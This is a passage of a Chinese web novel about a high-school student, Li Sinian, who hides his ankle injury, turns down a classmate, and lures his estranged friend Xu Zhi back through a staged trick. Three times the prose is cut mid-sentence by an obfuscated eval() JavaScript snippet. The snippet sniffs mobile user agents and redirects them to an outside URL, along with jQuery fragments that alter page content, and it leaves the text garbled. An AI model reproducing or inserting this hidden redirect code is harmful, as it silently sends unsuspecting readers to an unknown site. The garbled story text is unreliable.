一会是接到郑秀打来的电话说自己正在去庆城的大巴上,一会场景又跳转到下大雨的放学路,他不知怎么就走到了并不顺路的江城二中,许之没打伞,站在雨里,看着他。 李斯年想开口叫他来和自己共一把伞,但许之只是目光深深,一动不动注视着他。 那神态非常疏离,李斯年心里咯噔一下,想主动走近,但雨越下越大,最后天地间一片漆黑,许之也不见了。 放学音乐响起,李斯年被从梦境中拉出来,感觉后背出了不少汗。 缓了好一会才,从梦的氛围中抽离。 他转头看向窗外,天空黑漆漆的,一颗星星也没有,酸麻的手臂动了动,碰到了什么,发出刺啦声响。 是个塑料袋,里面装着几个馒头包子。 李斯年正发怔,就听旁边方行舟开口:“你可真能睡,都不饿吗?” 其实是饿的,只是伤痛加上心情不佳,反而让饥饿成了最可以被忽略的一件事了。 他目光飘到那个塑料袋上:“这个是谁……” “我晚饭去食堂给你带的。”方行舟没发现这句话说完,李斯年原本亮起的眼又暗淡下去。 李斯年“哦”了声,还是打开袋子,啃了一口。 “是不是已经冷了?别吃了,走,去便利店再买点。” 方行舟伸手要拿,李斯年却手往怀里一收:“没事,能吃,你先回吧,我要收拾下作业。” 方行舟一脸怀疑的看向桌下李斯年的脚踝:“一个人回去能行吗?我送你吧。” “不用,之前也不是没用过拐杖。”李斯年又咬了一口馒头。 “行、行吧,那如果有事,给我打电话啊。” 李斯年这回连声都没出,只是点了点头,方行舟拿起书包,一步三回头的出了教室。 教室里人都走完了,只剩李斯年一个人,他把冰冷发干的馒头包子都吃完,有些噎人,拿起杯子想顺口水,却发现已经空了。 面团哽在食道里,那种膨胀着膈应的感觉似乎一路蔓延到心里。 “希望”有时候真是一件残忍的事情啊,李斯年心想,偏偏又最是无法自控。 李斯年又在座位上呆了会,噎感消退些许后,撑起拐杖慢慢走出教室。 - 次日一大早,闹钟准时响起,李斯年坐起身,看到脚踝的红肿已经消退些许,但还是比正常的那侧要明显粗一圈,不能受力。 他扶着墙,单脚跳到卫生间,简单洗漱后,听到敲门声响起。 “谁啊?”李斯年一边伸手去拿墙边的拐棍,问。 “是、是我,孟畅畅!你起来了吗?”门外的声音很有活力,在尚且弥漫着慵懒困倦的清晨显得有些突兀。 孟畅畅?她怎么会知道自己住在这里? 李斯年打开门,见孟畅畅今天穿了一身做工精致、布料笔挺的大衣,冬夜的寒气尚未随着天色昏暗褪去,她脸颊和嘴唇都泛着红润,呼出的白气在睫毛上凝成了透明的水珠。 她举起手里还在冒热气的早点:“给你带的!” “谢谢,不用这么麻烦……” “不麻烦!我、我也顺路的。” 孟畅畅打断了李斯年的拒绝之意,赶紧接着说,“你现在一个人住这里,受了伤肯定很多地方不方便,都是同学嘛,互帮互助应该的!” 说着,又推了推李斯年的手臂:“你先去吃东西吧,我等你一起上学。” 话都说到这里,总不能让人家一个女孩子站在寒风里干等着,李斯年微微侧身,示意她也进来。 屋内一夜没有开窗,空气带着有封闭感的暖意,但没有什么特别的味道。 孟畅畅感觉自己的脸有点热,她小心翼翼打量着屋内,自己这算是进入李斯年的卧室了吧? 这个年纪的男生卧室一般都杂乱拥挤,孟畅畅记得自己曾去一个远房表哥家,前脚刚进卧室,就被那污浊的空气熏得恨不得转头就跑。 但李斯年屋内收拾的很干净,被褥虽然没叠,但柔软的摊在床上,让人觉得莫名舒适,连垃圾桶都是新换过垃圾袋的。 小白正窝在床的内侧,而李斯年睡觉的痕迹留在床的外侧,一般人都会睡在床的正中间,孟畅畅只是乍一看觉得有点奇怪,但也没多想, 她自然不会知道,这是因为内侧是从前许之睡的地方,这是屋里最后能证明许之存在过的证据,李斯年不想抹去。 小白感觉到陌生人来,抬起眼,警惕的看过去。 “啊,原来你还养猫啊。”孟畅畅往前走了两步,跟床沿还有一段距离:“它会抓我吗?” “不熟悉的话,有可能。”李斯年答。 孟畅畅听言缩了缩脖子,没有再上前。 李斯年这边吃着早餐,就见孟畅畅走到角落的小冰箱前面,她感受到李斯年的目光,又转了个身,似乎在寻找什么:“猫饭在哪?我帮你把小白也喂了吧。” 李斯年拿着豆浆的手一顿,咕咚咽下早餐,才慢慢开口:“冰箱里那个玻璃罐子,是蒸熟的,用电热锅烧点水,隔水热一下就行。” “好嘞!”孟畅畅照着他说的做,能看出她在家应该是十指不沾阳春水的那种。 光是电热锅怎么开就研究了好一会,猫饭热好后又直接伸手去拿玻璃罐子,指尖被烫了一下,才意识到应该拿抹布垫着。 “我来吧。”李斯年怕再这么下去,这猫饭还没进碗里就先摔在地上,他接过手,熟练的将猫碗倒扣在玻璃罐上,再翻转过来,然后用勺子捻开肉泥。 “好了,可以走了。”李斯年说。 “啊,好!”孟畅畅将他的书包背在自己肩上,先一步拉开了门,等在外头。 李斯年不忍打断她热情的模样,左右那书包里其实只有几张卷子,不重,于是也没推辞,抄起桌上的钥匙,杵着拐杖出了门。 - 当天的午饭和晚饭仍然是孟畅畅去食堂给李斯年带的,方行舟在旁边偶尔发出一些意味不明、看热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401259|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹的怪声音,被李斯年的白眼翻了回去。 “兄弟,我感觉她还是对你有意思啊?”等孟畅畅离开后,方行舟偷摸压低声音凑过来说。 “我感觉你最近恋爱脑挺严重。”李斯年说。 “真的!你看,多少喜欢你的女生,知道你的性取向后,都放弃了,只有孟畅畅还坚持着,这是多么深沉的情感啊,确定不考虑下?” 李斯年在和许之闹翻之后的这段时间,兴致总是缺缺,他已经很少搭理方行舟这种闲聊废话了。 但这次却是回答的很认真:“不符合取向的不考虑。” 方行舟又说:“可是我看杂志上说,一般喜欢同性的人,都是潜在的双性恋啊?你要不要给自己个机会,试试看?” 李斯年一笑:“这都是什么小道杂志,你小心看多了伤脑子变傻子,回头王雪菁也要嫌弃你。” 方行舟轻哼一声:“她才不会。” 这话有点意思,李斯年转头去看他:“你们?” 方行舟嘿嘿一笑,装傻:“我们?” “可以啊你,之前还说没想好要不要告白,这才过了几天,这么闷声干大事的么?”李斯年替方行舟高兴,而随即内心也生出些许心酸来。 原来异性恋的发展就是这么容易和顺利吗? 再看自己,什么话什么事都写满了“不敢”和“不能”。 方行舟有些羞涩的耸耸肩:“其实……她也不算答应,只是没拒绝就是了,说想考上大学后再答复我,我觉得这样也很好,我会等她。” 方行舟说得笃定又认真,这个年纪的少年,还没见过世界有多大,却已经决定把心送出去,又鲁莽又幼稚,却又那样真挚。 李斯年也不禁被他所感染,由衷道:“加油兄弟,我看好你们!” 晚自习结束后,孟畅畅又跑来找李斯年,说要送他回家,李斯年没有拒绝。 夜里寒风起,入冬的日子一天比一天冷了,大家都急着放学回家,步履匆匆。 外加李斯年这情况本身就走不快,二人才刚走过操场的一半,整个学校就已经差不多空了。 孟畅畅小步跟在李斯年身后半个身位,她含着羞怯和雀跃的眼神没能完全藏好,被李斯年察觉到。 这样独处的时光,她肯定很开心。 李斯年想。 但没有结果的开心,以后回想起来,就全是难过。 于是他轻声开口:“你知道我不喜欢女生的吧?” 孟畅畅脚下一顿,没想到李斯年这么快就捅破窗户纸,为晚自习下课学生点亮的操场路灯还开着,能清楚看到她的脸因为羞涩和难堪而涨得通红,支吾着说不出话来。 “所以不用对我这么费心关照了,我注定给不了你想要的。”李斯年说完,继续往前走。 孟畅畅猛地抬起眼,她从初中开始就暗恋李斯年,太了解他是怎样洒脱又自我的性格了。 但她已经看了他的背影这么些年,眼看高中还剩一个学期就毕业,如果不勇敢一回,肯定会后悔。 她上前两步,绕过少年的背影,拦在他的正前方。 “你、你不试试怎么知道呢?” 孟畅畅鼓起勇气,藏在长袖里的手攥得紧紧,才能勉强让自己的声音不颤抖的过分明显,“我问过方行舟了,他说你没谈过恋爱,那你怎么能确定自己就是喜欢男生?” 若换做以前,李斯年根本懒得回答。 但现在不一样了,他也真心喜欢上一个人,明白孟畅畅此刻这些话说出口到底需要多大勇气。 “那你也没和我恋爱过,怎么确定喜欢我。”他抬起眼,声音平和,自问自答:“因为心动的感觉是能自我确定的。” 孟畅畅怔在原地,操场四周的灯终于“啪”的一声,全部熄灭。 在黑暗笼罩之前、最后的余光中,她看到李斯年眼中有什么情绪一闪而过。 是悲伤吗?还是求而不得的遗憾? 无论是哪一种,孟畅畅都很难想象,它们会出现在永远肆意的李斯年脸上,她几乎以为是自己看花了眼,脑海中忍不住冒出一个念头—— 李斯年说这话的时候,心里想的是谁? 48. 洞悉 二人沉默着来到校门口,一辆白色suv停在门口,李斯年见过,那是孟畅畅家的车。 “到这里就可以了,你回家吧。”李斯年说。 “诶,等等。” 孟畅畅叫住她:“你刚才说的话我明白了,以后我不会再打扰你,但是这个……” 她走到驾驶位的窗外,车窗摇下,她对司机说:“帮我把后备箱的东西拿一下吧。” 司机下车,后备箱徐徐开启,里面是一个折叠起来的金属制品。 李斯年对这个很熟悉,他前段时间天天坐——轮椅。 司机将轮椅取出、架好,孟畅畅接手推到李斯年面前:“我想你用这个会方便舒服点,就当是我最后的好意,不要拒绝,行吗?” 她说完,李斯年半天没有反应,孟畅畅鼓起勇气抬头看他,却发现这人不知为什么愣住了,睁大眼看向轮椅的某处,表情间有迷茫,还有几分吃惊。 “怎么了?”孟畅畅有点蒙。 “啊,没事。”李斯年反应过来,立刻收敛神色,恢复了淡然,“这个……是你买的吗?” “不是不是。”孟畅畅以为李斯年不想接受自己的好意,要给钱,于是赶紧解释,“只是租的,等你脚伤好了,我再还回去就行,不贵的。” 好在李斯年听完只是“嗯”了一声,说了谢谢,竟没有再推辞。 他坐上轮椅,将拐杖横放在自己腿上,孟畅畅也没有坚持送他,而是静静看着他在路边等到红灯变绿,熟练的推着轮椅过了马路,消失在三岔巷子路口。 她心里填满了酸酸涩涩,但也有一种事情尘埃落定的安稳感,从寄出那封情书开始,一直悬在半空中不上不下的心终于落了地。 虽然摔得有点疼。 孟畅畅拿出手机,调出一个微信对话框,打了几个字发出,随后深呼吸,上了自家的白色suv。 - 次日,早自习的朗朗读书声从每一间教室扩散出来。 李斯年迟到了,但推着轮椅的手还是不紧不慢,从空旷的操场这头“滚”到那头,来到教学楼下的时候,正好听到早自习的下课铃声。 朗读声被嘈杂的闲聊与脚步声取代,很多同学都会趁着早自习与第一节课之间的间隙去食堂买点早餐,空荡的走廊楼梯一下子就热闹起来。 李斯年将轮椅推到楼梯边缘,撑着扶手站了起来。 他今天没带拐杖,只能缓慢吃力的借助上肢力量和单脚,一节一节楼梯爬。 不过很快就有六班的同学看到他了,李斯年人缘向来不错,有人张罗着抬轮椅、还有人搀着他来到教室里。 那前簇后拥的阵仗不小,引来不少其他班同学的目光,第一节课是化学课,董老师来得早,正好看到李斯年书包挂在轮椅扶手,人坐在轮椅上往座位滚动的模样。 “怎么回事,昨天还只是拐杖,怎么今天就换上轮椅了?”董老师怕他这是脚伤严重了。 说到底,最初的伤是在校打篮球赛造成的,二次伤害又是因为体育考试,家长要是找上门来,终究是学校的责任,他作为班主任不敢怠慢。 “嗯,一直不消肿。”李斯年轻轻扯了扯裤脚,脚跟到脚踝上方都被纱布裹得严严实实。 “去医院做检查了吗?”董老师问。 李斯年点头,一副好学生乖巧模样:“老师放心,就是需要些时间恢复。” “那就好。”董老师想了想,大手一点:“方行舟、许之,你们坐在李斯年旁边,这段时间也多帮帮忙,他这样上下楼、倒水都不方便,有什么事随时来找老师,知道吗?” 两声“好”前后响起,许之的声音几乎淹没在方行舟的中气十足之中,却仿佛像是风吹柳条,在李斯年心上拨出一圈圈散开的涟漪,李斯年努力忍了忍,才没有看向他。 上课铃这时响起,方行舟帮李斯年把他座位上的木凳拿去角落处,轮椅的高度和课桌还算匹配,他就不用两个椅子之间挪来挪去了。 李斯年手推轮椅往座位进,在扶手碰到后桌之前,忽然轻声对后排说了句:“麻烦借点位置。” 这是二人冷战后第一次讲话,但李斯年头也没抬,许之也没开口,只是向后移了移桌子,李斯年两只手转动轮子,将轮椅滚进了座位之中。 趁着董老师面向黑板板书的间隙,方行舟借着手遮住嘴,关心道:“你去医院了?检查怎么说?” 轮椅的背靠厚实舒适,李斯年整个人往后靠去,脖颈还能被托住,像是坐在沙发上似的,开口声音也带着慵懒:“我没去。” 方行舟啧了一声:“我就感觉你是在骗老董头,你到底为什么不去医院?” “一套检查下来又是大几百,我还要存钱交房租。”李斯年语气很自然,陈述事实,没什么情绪。 方行舟却一下子哽住了,这还是那个自己认识的花钱如流水、双城首富家小少爷李斯年吗? 他短短叹了口气:“你之前房租不是都凑够了,现在还这么缺钱吗?我有压岁钱,要不先用我的,还是要去医院检查,万一真伤到骨头,不管的话会残废的。” “没关系,我上网查了,就算是骨裂,其实也可以自己愈合,我还拿纱布固定了好几圈,少动会好一些。” 方行舟觉得李斯年这态度未免有些太随意了,要省钱也不是这种省法:“可是你这都两天了,肿都没消,万一是骨折……” “嘶。”李斯年挪动了一下身体,似乎牵动到脚踝了,他很轻的倒吸了一口气,眉眼间也有些疲倦,“好好好,我知道了,要是过几天还这样,我就去医院……这两天疼得我晚上都睡不好,先补个觉。” 说完,又趴下睡了。 敢在老董头的课上开小差的也只有李斯年了,没办法,谁叫他化学考试次次不是满分就是接近满分呢? 方行舟只好无奈的转过头去。 - 很快就到了周末,李斯年周六还有一整天的补习兼职,他现在这样也不方便坐公交车,只能坐地铁,但地铁出站口距离学生的小区还有不短的距离。 于是他特地早起了一个小时,但刚收拾好准备出门,就听到有人敲门。 最近自己出租屋这扇门可真热闹,老有人来敲,李斯年想着,推动轮椅到门前。 “斯年哥,我妈……”梁芷话说一半,看到李斯年坐在轮椅上,剩下的话吞了回去:“这是怎么了?又哪里伤了?” “体测时崴了一下,旧伤有点复发。”李斯年说着,看到孙姨也跟在后面。 她腿上放着一个麻布垫,垫着一口不大的锅子,热气夹带着香味从盖子上的透气孔里冒出来。 李斯年笑道:“这么早就炖番茄牛腩了啊,孙姨?” 这是孙家娟的拿手菜,李斯年向来能就着菜吃两大碗米饭。 “是啊,炖了一晚上,没想到你出门这么早,差点就错过了。”孙家娟说。 李斯年回退轮椅,让二人进屋,一时间屋内只有梁芷一个人站着,两个轮椅相互面对。 “你才好没多久,这次去医院检查了没?”孙家娟柔声问。 “这几天都在上学,怕是没空去吧。”李斯年还没开口,倒是梁芷先回答了。 “谁说的,我检查过了。”李斯年说。 孙家娟抬抬手:“那拍的片子呢,拿我看看,和上次伤的是同一处吗?” “哎呀,您也不是医生,看也看不懂,医生说了,好好修养一段时间就行。” “上次也这样说,结果呢,要是修养好了,怎么还会再伤?”孙家娟的笑容稍稍淡了些,“我看你是压根没去医院吧。” 李斯年干笑了两声,顿了顿,终于无奈道:“还是瞒不过您。” “真是胡闹!”孙家娟伸手抓着李斯年的轮椅,把他往梁芷那边一推,“你带他去医院,所有该做的检查全都仔仔细细做好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401260|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李斯年忙说:“可是我今天还有兼职……” “没关系,我和他们说一声,改成线上补课就是了。”梁芷赶紧接过轮椅的握把,“正好现在去医院,不耽误你下午的兼职,剩下的就周日补。” 被安排的明明白白,李斯年再想拒绝也没有理由了,只好乖乖点头,梁芷在巷口叫了一辆出租车,带李斯年去了上次那家骨科医院。 各项检查做完,还好骨头没什么事,但肌肉损伤还是比较严重。 医生叮嘱这一次千万要注意休息,就算好了之后,半年内也避免剧烈运动甚至快走。 梁芷推李斯年出医院时,已是接近中午了。 今天是个万里无云的晴天,冬日暖阳照在身上有种类似接触毛绒一般柔和的暖意。 “中午就去我家吃饭吧——” “是不是许之叫你来找我的?” 二人几乎同时开口,梁芷惊得脚步一顿,李斯年提前按住轮椅的扶手,才不至于顺着惯性栽出去。 梁芷磕磕巴巴道:“斯年哥,你、你说什么啊?我听不懂。” “你们什么时候这熟了?” 李斯年微微侧过头,光线将他高挺的鼻梁勾勒,目光没什么温度,“那天我去江城二中替考的事情,也是你告诉他的吧。” “我没有……” “梁芷,我认识你太久了,你说真话还是撒谎我一眼就看得出来。” 梁芷深深叹了一口气:“对不起。” 在李斯年面前说谎,对她而言还是太难了:“替考那次我真的没办法,他联系不上你,好像猜到了什么,一直追问你那些补习学生的电话或微信,但我不能给啊,万一他打电话过去问家长,那对方不就知道自己孩子请人替考的事情了?你就拿不到钱了呀。” 替考这件事,严格说来,也算是梁芷牵线搭桥。 那个背头男生正是最初梁芷帮忙介绍给李斯年做兼职家教的,后来他希望李斯年帮忙自己考试,李斯年一开始拒绝了,他便又去求梁芷。 梁芷迫于同学情面和李斯年提了一次,恰巧那时候李斯年刚从碧水名城出来,得知自己原本想要卖掉换钱的奢侈品全都被李宇收走了,为了筹房租,终于答应下来。 见李斯年板着脸半天不吭声,梁芷急得眼泪都要落下来了:“斯年哥,我……” “行了。”李斯年一抬手,叹道:“这件事也不能全怪你。” 许之太聪明了,哪怕这次不露馅,以后算起账来也很可能东窗事发。 其实冷静了这么几天,李斯年也回过味来,这事的确是他做的太一厢情愿,许之本就自尊心强,接受不了也能理解。 但李斯年更在意的是,明明这场争吵的根源都是“为了对方着想”——他不想许之打工太累压力太大、许之不想他低声下气做枪手,那他为什么还要说出类似绝交这么重的话? 哪怕当时是一时激动口不择言,如今李斯年自己都想清楚了,许之难道想不清楚? 但他却没有任何想要和好的意思,仿佛笃定心思要借着这次事情和自己彻底划清界限。 梁芷见李斯年表情深沉,有点摸不准他到底生不生气、有多生气,于是继续解释:“其实我和他不熟的,只是之前因为小白小黑加了微信,没发过消息,只有这次他告诉我你脚伤了的事,应该也是出于好意。” 李斯年还是不说话。 梁芷心里越发着急,今天去出租屋时,孙家娟没有注意到,但她几乎是刚进屋就发现许之似乎搬走了。 难道二人是因为替考的事所以闹翻了? “要不……我去跟他解释一下?就说这事都是我逼你的。我真没想到会闹成这样!”梁芷说着,又忍不住带了些哭腔。 李斯年手捻着下巴,手指无意识的摸索着一侧下颚,半晌,才看向梁芷。 “这样吧,你帮我个忙,替考泄密的事我就不和你计较了,怎么样?” 49. 陷阱 傍晚时分,许之正在一家五金店帮忙卸货,他从中午忙到现在,和另外两个搬运工一起卸了好几车的货,内里的衣服早已汗湿。 他直起发酸的腰背,看到今天的夕阳颜色很浅,被乌云冲淡在天边。 恐怕要下雨了。 这家五金店是一对夫妻开的,一儿一女正搬着一高一矮两个板凳坐在墙边,看似写作业,但其实是趁着大人不注意时掰扯着橡皮擦玩。 老板娘在里屋炒菜,抽风机似乎坏了,吱吱呀呀的响着,不少掺杂着油烟味的饭菜香弥漫出来。 电视机被随手调成新闻频道,晚间天气预报正在播放:“……寒流即将在今晚抵达江、庆双城,并伴随暴雨橙色预警,请各位市民做好防范、减少外出。” “诶,小许啊,要不要吃点再走?”老板娘端着菜从里屋出来,摆在桌上,冲许之招手。 这家五金店生意不错,每周卸货需求稳定。 许之来过几次后,老板和老板娘看这小伙子虽然模样好看的像个姑娘,但做起事来踏实不娇气,一搬就是一下午,水都不带喝一口的,于是就几乎只要周末卸货就固定叫他来。 这么一来二去,互相也就熟悉了,老板也隐约察觉到许之的实际年龄应该比报的要小一些,心中难免生出怜惜,如果活儿结束时正好遇到晚饭点,就会留他吃了饭再走。 “谢谢,今天就不了。”许之抹了一把额头上的汗,又看了眼天空,“没带伞,怕等下要大雨,最后一点搬完我就回了。” 晚霞彻底消散,阴云笼罩天空,肉眼可见的暗了下来,于是老板娘也不再留他,抽了一把伞递过去,让他路上注意安全。 许之谢过,将外衣拢紧了些,离开五金店。 不知是刚才天气预报带来的心理作用、还是他汗湿的衣物已经凉凉的贴在身上,许之感觉今晚的夜风的确更冷了。 刚过马路,手机一响,许之将伞夹在手臂,腾出手从兜里拿出手机。 是梁芷的一条微信。 雪绒花:许之哥,斯年哥他死活都不肯去医院,还跟我妈争了几句,把我妈给气走了,这可怎么办…… 刚看完,又来一条。 雪绒花:我看他脸色不好,不知道是不是发烧了,骨折会发烧吗? 许之眉头一皱,敲下几个字。 许:告诉李宇吧。 梁芷消息回的很快,似乎是拿着手机蹲守。 雪绒花:不行,斯年哥那个性格,要是李叔叔来,他们肯定要吵得收不了场。 许之稍微想象了一下那个景象,的确很有可能。 许:那他现在在哪? 雪绒花:把自己反锁在出租屋里了。 雪绒花:我怎么敲门都不理我。 天边轰隆一声闷雷,将许之心中的杂乱与烦躁也引了出来,他眉头皱的更深。 许:我拜托方行舟去看看。 许之刚切到通讯录,就看到屏幕顶端弹出梁芷的新消息。 雪绒花:他电话打不通,我实在没办法才来找你的,你现在有空过来吗? 许之拨通方行舟的电话,果然听筒响起:您拨打的电话已关机,请稍后再拨…… 一丝若有若无的疑惑爬上许之心头,然而不待他细想,梁芷的电话就打了过来。 “喂?” 梁芷声音软软弱弱的传来:“许、许之哥,你现在能过来吗?” “他这么犟,我过来也没用。”许之很轻的叹了口气,几乎混合在话语里。 他以为李斯年至少会听孙姨的话,但没想到二人竟然会吵到不欢而散。 许之握着手机的手指微微攥紧了些。 他现在难道就这么缺钱吗?到底知不知道骨折不是闹着玩的,万一下半辈子留下残疾后遗症怎么办? 归根到底还是因为自己,李斯年才会和李宇闹翻,以至于如今这种境地。 “我感觉,斯年哥好像比较听你的话。”梁芷那边顿了顿,才继续说,“你来劝劝他吧,而、而且他好像从上午就没吃东西,我有点担心。” 许之有些迟疑:“可是我已经搬走了……” “啊、我我妈妈给我打电话了!”梁芷声音有点慌,急匆匆的说,“我得回去了,钥匙我压窗台石头底下,许之哥你快过来吧!” 吧嗒,挂了电话。 许之难得的有些愣神,他拿着手机的手缓缓垂下,屏幕亮了半晌,自动锁屏暗了下去。 他紧抿着唇,纠结的表情隐藏在发梢的阴影之下,好一会,还是决定去三岔巷子看一眼。 就悄悄地看一眼。 如果没什么事,他就走。 如果李斯年真的因为骨折而发烧,他就帮忙打一通120再走。 - 阴云密布的夜色掩不住三岔巷子里浓郁的烟火气,好些人都意识到即将到来的暴雨,在一阵一阵闪电之中快手快脚的收着晾晒在外的衣物和被褥。 许之是鼓起勇气重新回到这里的,本以为会有所感触,却发现心中出奇的平静。 好像自己并没有搬走大半个月,只是在一个普通得不能再普通的傍晚,去路边买了两份炒饭而已。 出租屋的门紧闭着,窗户被窗帘遮得严实,但也能看出里面完全没有开灯,漆黑一片。 许之附耳贴门,静静停了一会,什么动静也没有。 若不是梁芷那样说,他甚至怀疑屋里没有人。 许之犹豫片刻,还是伸手拿起床边的石头,果然有一串钥匙压在底下,他轻轻甩掉沾在钥匙环上的泥土,缓慢的将钥匙插入锁孔,转了两圈。 这下意识的动作引出许之心头无法回避的熟稔,门的确是被反锁了,才会需要转两圈。 推开门,连接处发出一阵不大不小的摩擦声,许之屏住呼吸,屋内还是没有丝毫动静,他花了几秒让双眼熟悉黑暗,就看到床上被褥隆起,果然躺着一个人。 小白主动来迎接他,只是嗅了嗅裤脚,就认出了人,嗓子里发出撒娇的呼噜声,围着许之的脚蹭了一圈,仿佛在问他为什么这么久才回。 许之无声一笑,蹲下摸了摸小白翻过的肚皮,温热柔软的猫毛让他感到一种难以压抑的幸福感。 仿佛回到家。 许之心中随即又有点酸涩和难过,他因此硬着心肠站起身,稍稍忽略了小白渐响的呼噜。 这是不属于你的美梦。 许之默默对自己说。 我只是来确认李斯年的情况,然后就要走了。 许之放轻脚步,走到床前。 李斯年是侧卧向内,从许之的方向看不到他的脸,又担心把他扳过来会弄醒人,于是一手撑在床头,缓缓将上半身探过去,伸出手,用手背去贴李斯年的额头,想看他还有没有在发烧。 就在手背贴上的那一瞬间,温热的触感让许之心中一顿,好像真有点烫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401261|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但他随之也反应过来,自己从外面进来,手温度偏凉,或许不够准确,于是他又将手贴回自己额头上,暗暗记住这种温度的对比,再次去探李斯年的额头。 好像……和自己额头的温度差不多,没发烧啊。 许之正想着,忽然感觉到腕间被人攥住。 他惊得浑身一颤,想抽回手,却已经来不及了。 只感觉面前一黑,有股力量揽上自己腰间,然后整个人天旋地转,重重地摔到床上! 感到有类似被褥的东西盖在了脸上,许之想要把它掀开,却很快被攥住了另一只手腕。 随之吧嗒一声,似乎是床头的灯被打开了。 许之眼前骤亮,脸上的被褥被掀开。 李斯年带着戏谑笑意的脸近在眼前。 许之几乎是瞬间反应过来—— 被骗了! 想通这一点后,电光火石之间,许之脑子里快速掠过无数想法: 李斯年向来尊重孙姨,怎么会轻易爆发争吵?方行舟手机关机的时机为什么这么巧?若真是事发突然,梁芷哪来的时间未卜先知,偷拿备用钥匙留给自己开门? “哎呀,原来是你?”李斯年语气听起来懒散又慢悠,“你怎么会在我屋子里啊,我的普、通、同、学。” 看他这样子,发烧是不可能发烧的,很有可能脚伤的严重程度都是编的。 许之心中升起一股恼怒,他挣扎了一下,但没能挣脱。 他此刻整个人都被李斯年用被褥包紧,对方居高临下,隔着被褥跨坐在他身上,牵制着他的双手手腕。 “放手。”许之冷声道。 “不放。” “你!” 李斯年眼角带着笑意,看起来心情很好:“许之,请你搞清楚啊,是你自己偷偷摸摸跑别人家里来的,我不报警把你抓走都是因为顾念同学情谊,你最好解释一下原因。” 许之哽了哽,半晌没说出话来。 总不能承认:是的,我就是担心你,所以才来看看。 那就正中李斯年下怀了。 李斯年看着许之吃瘪还说不出话的模样,觉得特别可爱。 之前他难受、纠结,都是因为不理解许之为什么要这么做。 如今至少李斯年知道了,许之心里对自己还是在意的。 既然这样,那么许之后退多少步,大不了自己就往前补多少步。面子什么的,不要就不要了,谁叫自己喜欢他呢? 感觉到对方的体温渐渐从被褥透了过来,许之心中有些微妙的不自在,他撇过眼避免和李斯年对视。 二人现在有点太近了,他甚至感觉到李斯年温热的鼻息从脸侧掠过。 但李斯年却是直直地看着他,也没有再说话,笃定了先忍不住开口的人会是许之。 直男果然没有关于保持距离的自觉,许之心想,不得已,主动打破沉默:“我、我来看小白。” “那你为什么来摸我的额头?”李斯年毫不留情戳破他的谎言。 许之一时语塞,他心中莫名憋着一口气,也不知道是在气李斯年明知故问、还是气自己自跳陷阱,他又挣扎了下:“你能不能让我坐起来再说话?” 许之这次挣扎的幅度有点大,李斯年眸色莫名深了深,但在昏暗中不太明显,只是眨眼间便消散了。 他挑了一下眉,手上的力道反了加重了:“不行,松开你就跑了。” 50.坦诚 许之无声叹了口气,对李斯年说:“我不跑。” 说完,看对方没有要相信的意思,于是只好又说:“那你到底想干什么?” “你心里有我——”李斯年说。 许之心里一咯噔,脑子嗡得就麻了,微微张着嘴,不知道该说什么。 李斯年没注意到他的异常,接着说:“你明明关心我,为什么非要绝交?” 这话落在许之耳朵里,他硬是花了好一会,才终于让理智回到脑袋——李斯年指的还是替考那件事,没有别的意思。 他无意识的咬着下唇,努力让声音听起来客观冷静:“之前电话里,我已经和你说的很清楚了,我们不是一个世界的人,如果不是你爸和我妈的原因,我们根本不会认识、更不会熟识……” “这套说辞不成立。” 李斯年冷静而果断的打断了他:“首先,这里就一个地球,哪来的两个世界的人?第二,‘如果’只是一个假设,但李宇和许茜的关系是实际存在的,你不能用一个假设去推导出‘你我不能做朋友’这个结论。” 李斯年平日里一双眼总是带笑,看起来爽朗又阳光,但其实他认真时,眉眼都会微微沉下去,带着理智和冷意,有种与平时反差极大的魅力。 他一字一句剖析许之的话,像是在做卷子最后一道大题。 “孟畅畅是你找来的吧?她不可能知道我出租屋的地址,如果是方行舟说的,那他早就以此来打趣我了。况且孟畅畅进屋后,我都没提猫什么名字,她开口就叫‘小白’,明明不像是有养猫经验的人,却又非常顺口地说出‘猫饭’二字,这些十有八九是你告诉她的吧。” 许之有些意外,他以为今天的露馅是因为梁芷扛不住压力、对李斯年说了什么。 原来他竟然是从那么早就已经猜透了? 李斯年将他惊讶的表情收于眼底,顿了顿,继续说:“当然,那时候我没有证据,直到后来我发现她租了轮椅,和你上次给我租的是同一个牌子,连型号都一模一样。“ 他勾了勾嘴角,像是抓住许之的小尾巴:“这世上哪有那么巧的事?你就是关心我,但你的行为和想法却是相反的,到底是为什么?” 许之一时间不知该怎么回答,李斯年将他剖析的太清楚了,这人明明前两天还会因为愤怒影响判断,但却能这么快就冷静下来。 